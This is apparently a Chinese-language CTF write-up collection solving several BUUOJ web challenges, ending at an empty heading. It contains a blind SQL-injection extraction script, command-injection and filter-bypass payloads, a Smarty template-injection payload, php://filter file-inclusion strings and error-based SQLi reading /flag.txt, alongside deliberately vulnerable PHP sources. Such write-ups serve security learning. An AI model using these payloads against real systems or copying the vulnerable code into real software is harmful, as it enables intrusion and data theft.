[TOC]
[CISCN2019 总决赛 Day2 Web1]Easyweb
考点:盲注,文件上传
查看robots.txt:
1 2
| User-agent: * Disallow: *.php.bak
|
抓包过程发现user.php和image.php,于是下载源码,查看image.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id); $path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
|
GET请求id和path参数时首先经过addslashes()函数转义,在单引号,双引号,反斜杠和NULL前面加上反斜杠“\”,
然后再经过str_replace()函数把"\\0","%00","\\'","'"
中的任意一个替换为空,
下面的select语句构造sql注入,传入的值为
经过addslashes()处理之后select语句就变成了
* from images where id1 2
| 再经过str_replace()函数处理之后变成了 ```select * from images where id='\' or path=' or 1=1%23'");
|
构造成功,盲注python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests
url = 'http://a9d9fc32-9b43-4a17-8c8b-d137102a6211.node3.buuoj.cn/image.php'
flag = '' for i in range(1,100): for j in range(32,128): # payload = '?id=%5C0%27&path=%20or%20if(ascii(mid(database(),{},1))={},1,0)%23'.format(i,j) # 数据库: ciscnfinal # payload = "?id=%5C0%27&path=%20or%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))={},1,0)%23".format(i,j) # 表名: images,users #payload = "?id=%5C0%27&path=%20or%20if(ascii(mid((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273),{},1))={},1,0)%23".format(i,j) # users列名: username,password payload = "?id=%5C0&path=%20or%20if(ascii(mid((select%20group_concat(password)%20from%20users),{},1))={},1,0)%23".format(i,j) # passwor: b5fef2a49e1cee3ee711 r = requests.get(url+payload) #print(url + path) if len(r.text)>10000: flag += chr(j) print(flag) break if(j==127): break print(flag)
|
得到账号和密码登陆,是一个上传界面
上传文件之后把上传日志记录到一个php文件,而没有给出文件路径,考虑文件名注入一句话,php被过滤,选择<?= ?>
标签,即可,flag在根目录。
[BSidesCF 2019]Futurella
f12一键获取flag。
[WUSTCTF2020]朴实无华
考点:php弱类型,命令注入
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }
//get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>
|
一共有三层,第一层利用php弱类型,即可绕过
1 2
| intval('2e4')=2 intval('2e4'+1)=20001
|
第二层也是弱类型,找到一个0e开头的字符串,其md5值也是0e开头的字符串即可绕过,写个脚本跑一下就出来了。
第三层是执行命令,不能有空格和cat,空格用$IFS$9
替换,cat用tac替换,然后读取flag。
[CISCN2019 华东南赛区]Web11
考点:ssti模板注入
打开页面发现页面会记录IP地址,第一时间想到存在XFF头注入,又看到提示Smarty,是模板注入了,抓包然后测试:

当输入{1+1}的时候,显示2。看了看别人的writeup,
smarty中的{if}标签中可以执行php语句,得flag:
1
| {if readfile('/flag')}{/if}
|

[BSidesCF 2020]Had a bad day
考点:文件包含
进入页面两个按钮,随便点一个,出来一张图片,发现url变成了这样:
1
| http://e7a037d7-b95d-419a-ae85-6f3acf5e0ea5.node3.buuoj.cn/index.php?category=woofers
|
把woofers改为index发现不行,然后改为index woofer
出现报错信息:

可以发现include语句是这样的,获取url中的category参数然后拼接.php
,然后包含这个php文件,尝试用伪协议读取文件:
1
| ?category=php://filter/convert.base64-encode/resource=index
|
base64解码得到index.php源码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $file = $_GET['category'];
if(isset($file)){ if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
|
参数中必须包含index,woofers,meowers
中的一个,然后这样刚好读到flag。
1
| ?category=php://filter/convert.base64-encode/resource=index/../flag
|
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
这道题真坑啊,进页面是几个输入框,各种提交,查询,修改,删除的功能,然后我在查询那里试了半天,试出一个异或注入,爆出数据库名后,没想到查表得时候发现select什么的都给ban了,也没法绕过,结果没办法,只能找其他方法了。
在主页有一个文件包含,用伪协议读取到所有文件的源码,源码就不一一放出来了,看两个比较重要的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| //confirm.php <?php require_once "config.php"; //var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = $_POST["address"]; $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if($fetch->num_rows>0) { $msg = $user_name."已提交订单"; }else{ $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)"; $re = $db->prepare($sql); $re->bind_param("sss", $user_name, $address, $phone); $re = $re->execute(); if(!$re) { echo 'error'; print_r($db->error); exit; } $msg = "订单提交成功"; } } else { $msg = "信息不全"; } ?>
|
从上面可以看到,对传入的user_name
和phone
进行了严格的过滤,但是对```address``却没有做过滤,再看看另一个文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| //change.php <?php require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); }
if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>
|
这里对刚刚传入的address参数没有做任何处理就放进了数据表中,那么我们只要在原始传入带有sql注入的address参数,然后在这个页面发起请求,那个sql语句就会被触发,然后就可以成功执行sql注入。
思路有了以后,构造payload,这里用的是报错注入:
1
| 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
|
直接读取显示不全,分两段读取payload:
1
| 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
|
然后就得到flag了。
[WesternCTF2018]shrine